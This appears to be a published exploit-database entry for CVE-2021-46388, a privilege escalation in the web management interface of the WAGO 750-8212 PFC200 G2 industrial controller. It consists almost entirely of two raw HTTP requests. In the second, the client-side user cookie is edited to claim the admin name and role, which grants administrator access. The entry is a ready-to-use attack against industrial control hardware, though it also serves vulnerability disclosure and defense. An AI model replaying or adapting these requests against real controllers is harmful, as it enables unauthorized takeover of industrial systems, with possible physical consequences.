WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

`# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation  
# Date: 02/16/2022  
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB  
# Vendor Homepage: https://www.wago.com  
# Version: Firmware version 03.05.10(17)  
# Tested on: PopOS! [Linux](Firefox)  
# CVE : CVE-2021-46388  
  
========================================  
= The ordinary user privilege request:  
========================================  
  
GET /wbm/ HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Referer: http://192.168.1.1/wbm/  
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}  
  
==========================================  
= Manipulated Cookie to Admin Privilege:  
==========================================  
  
GET /wbm/ HTTP/1.1  
Host: 192.168.1.1  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
DNT: 1  
Connection: close  
Referer: http://192.168.1.1/wbm/  
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}  
  
`